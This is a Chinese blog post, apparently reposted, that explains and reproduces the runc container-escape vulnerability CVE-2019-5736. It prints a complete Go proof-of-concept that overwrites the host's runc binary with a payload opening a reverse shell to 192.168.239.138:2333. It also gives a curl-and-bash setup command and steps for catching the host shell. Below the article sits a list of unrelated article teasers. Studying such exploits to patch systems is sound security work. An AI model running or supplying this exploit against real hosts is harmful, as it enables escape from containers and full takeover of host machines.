Docker逃逸---CVE-2019-5736浅析

news2025/1/16 12:49:31

一、产生原因

Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc

漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件

然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用

二、利用条件

1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前

2、容器以root权限运行

三、复现过程

1、环境搭建

docker和runc版本如下

 下载docker环境脚本并运行

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

下载不了可以复制下面代码

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
        "flag"
)


var shellCmd string

func init() {
        flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
        flag.Parse()
}

func main() {
        // This is the line of shell commands that will execute on the host
        var payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                        fmt.Println(err)
                        return
                }
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {
                                        fmt.Println(err)
                                        return
                                }
                        }
                }
        }

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
                }
        }
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)
                        fmt.Println("[+] The command executed is" + payload)
                        writeHandle.Write([]byte(payload))
                        return
                }
        }
}

改为要反弹的主机和端口

这里把编译好的main复制到容器内执行,模拟攻击者

go build -o main main.go
docker cp main 33c6927d312d:/tmp

3、执行脚本,然后等待管理员执行命令,反弹shell

容器内运行脚本    ./main

模拟管理员执行exec命令

攻击机监听,成功反弹宿主机shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1104564.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++ Eigen 矩阵运算

文章目录 1 Eigen的安装与CMakeLists.txt的编写1.1、Eigen的安装1.2、Eigen的CMakeLists.txt编写1.3、版本查看 2、Eigen的头文件3、Eigen的基础3.1 Eigen初始化3.1.1 一些常用的初始化方法 3.2 矩阵大小3.3 Eigen矩阵类3.4 Eigen矩阵的创建4 Eigen的Array类4.1 Array的初始化4…

JavaScript爬虫程序实现自动化爬取tiktok数据教程

以下是一个使用 request-promise 和 JavaScript 的爬虫程序,用于爬取tiktok的内容。此程序使用了 https://www.duoip.cn/get_proxy 这段代码。 // 引入 request-promise 库 const rp require(request-promise);// 定义 get\_proxy 函数 function get_proxy() {retu…

千兆光模块存在哪些局限性

千兆光模块是目前使用最广泛的光模块之一,可以实现1Gbps的传输速度。随着科技的进步和应用场景的多样性,千兆光模块也因其固有的局限性而面临越来越多的挑战。以下是千兆光模块的局限性和如何克服这些局限性的讨论: 千兆光模块可以实现最大…

钻井平台升降装置锁紧液压系统比例阀放大器

钻井平台升降装置锁紧液压系统为钻井平台桩腿的锁紧装置提供动力,通过液压马达驱动垂直布置的上下螺杆传动装置的伸缩,使锁紧齿条和桩腿上的弦管齿条啮合和分离,实现平台的锁紧、负载转移、均载和解锁。

05 依赖倒置原则

官方定义: 依赖倒置原则(Dependence Inversion Principle,DIP)是指在设计代码架构 时,高层模块不应该依赖于底层模块,二者都应该依赖于抽象。抽象不应该依 赖于细节,细节应该依赖于抽象。 通俗…

Linux系统添加硬件设备流程

Linux系统添加硬件设备的流程 添加硬盘设备的操作: 一、在虚拟机中模拟添加入一块新的硬盘存储设备 (步骤见《Linux这么学》P191) 二、依次进行分区、格式化、挂载操作 1.分区 (1)新建、修改及删除磁盘的分区表信息 #…

PAM从入门到精通(五)

接前一篇文章:PAM从入门到精通(四) 本文参考: 《The Linux-PAM Application Developers Guide》 先再来重温一下PAM系统架构: 更加形象的形式: 五、主要函数详解 3. pam_set_item 概述: 设置…

可追溯性在MES管理系统解决方案中的重要性

在当今制造业中,“可追溯性”已经变得至关重要。它能够在产品出现问题时迅速定位问题源头,并持续优化生产流程,确保产品质量得到提升和保持稳定。 可追溯性不仅涉及追踪产品来源,还是一种保障数据真实性的手段。与数据安全技术相…

OTP语音芯片和TTS语音芯片的差异性

OTP(One-Time Programmable)语音芯片和TTS(Text-to-Speech)语音芯片是两种不同类型的声音处理芯片。OTP主要用于播放预录声音片段,而TTS则根据文本实时生成语音。OTP的灵活性较弱,适用于固定声音输出&#…

组件自定义事件 和 解绑事件

组件自定义事件 和 解绑事件 组件自定义事件 功能:父组件绑定数据,子组件触发事件。(父绑子触发) 实现步骤(前三步在父组件实现,第四步在子组件实现): 第一步:提供事件…

图文结合丨Prometheus+Grafana+GreatSQL性能监控系统搭建指南(下)

一、环境介绍 本文环境,以及本文所采用数据库为GreatSQL 8.0.32-24 $ cat /etc/system-release Red Hat Enterprise Linux Server release 7.9 (Maipo) $ uname -a Linux gip 3.10.0-1160.el7.x86_64 #1 SMP Tue Aug 18 14:50:17 EDT 2020 x86_64 x86_64 x86_64 G…

单电源、轨到轨输入输出、高精度运放MS8551/8552/8554,可替代ADI的8551/8552/8554

MS8551/8552/8554 是输入输出轨到轨的高精度运算放大器,它 有极低的输入失调电压和偏置电流,单电源电压范围为 1.8V 到 5V 。 轨到轨的输入输出范围使 MS8551/8552/8554 可以轻松地放大高 电平和低电平的传感信号。所有特性使得 MS8551/8552/8…

C# 快速简单反射操作

文章目录 前言新反射使用BindingFlags以公有属性使用举例运行结果 前言 我之前写过一篇博客,是关于C# 反射的,我那时候使用的C# 反射写起来还是比较麻烦,需要获取Properies,再遍历Property,再找到对应Property,再使用…

Apache DolphinScheduler 官方发布3.2.0版本!大数据调度【重磅更新】

今天,Apache DolphinScheduler 3.2.0 版本在万众期待中终于发布了!在之前的预告中,包括《重磅预告!Apache DolphinScheduler 3.2.0 新功能“剧透”》、《3.2.0 版本预告!Apache DolphinScheduler API 增强相关功能》、…

抖音电商商品卡实时免佣进入正式期!订单佣金实时返还,你拿到了吗?

“卖更多免更多”,抖音电商商品卡免佣政策落地至今,因其操作简单、门槛低,流量渠道丰富以及能够实实在在为商家降低经营成本的优势,迎来超百万商家踊跃参与。在政策持续进行过程中,切切实实助力新商家从0到1快速打开生…

Day17|110.平衡二叉树

一、110.平衡二叉树 题目链接:https://leetcode.cn/problems/balanced-binary-tree/ 文章链接:https://programmercarl.com/0110.%E5%B9%B3%E8%A1%A1%E4%BA%8C%E5%8F%89%E6%A0%91.html#%E7%AE%97%E6%B3%95%E5%85%AC%E5%BC%80%E8%AF%BE 视频链接&#xff…

安卓系统如何在WIFI里设置s5静态IP

在 Android 设备上使用 Wi-Fi Settings 设置s5的详细教程: 1、首先,打开您的 Android 设备的 “设置” 应用。 2、在设置菜单中,点击 “Wi-Fi” 选项。 3、确保您已经连接到一个 Wi-Fi 网络。如果没有连接,请点击 “添加网络” …

小程序技术在信创操作系统中的应用趋势:适配能力有哪些?

小程序技术在信创操作系统中的应用前景非常广阔,但也面临着一些挑战和问题。开发者需要积极应对这些挑战和问题,为信创操作系统的发展和推广做出贡献。同时,开发者也需要关注小程序技术在信创操作系统中的应用趋势,积极探索新的应…

Web安全系列——越权访问(权限控制失效)

一、前言 越权访问是当前Web应用中最常见的安全风险之一。 本文将介绍越权访问的原理、风险以及典型攻击场景,并为开发者提供有效的防范措施,帮助构建安全的Web应用。 二、什么是越权访问 越权访问,是指用户在不具备相应权限(…

DevOps2023现状报告|注重文化、以用户为中心是成功的关键

Google Cloud DORA 团队的一份新研究报告强调了企业文化和关注用户作为成功软件交付支柱的重要性。 2023 DevOps 状况报告分析了过去 9 年来通过此类最大规模调查收集的全球 36,000 多名 IT 专业人员的数据。今年的报告是继 2022 年调查之后发布的,该调查发现越来…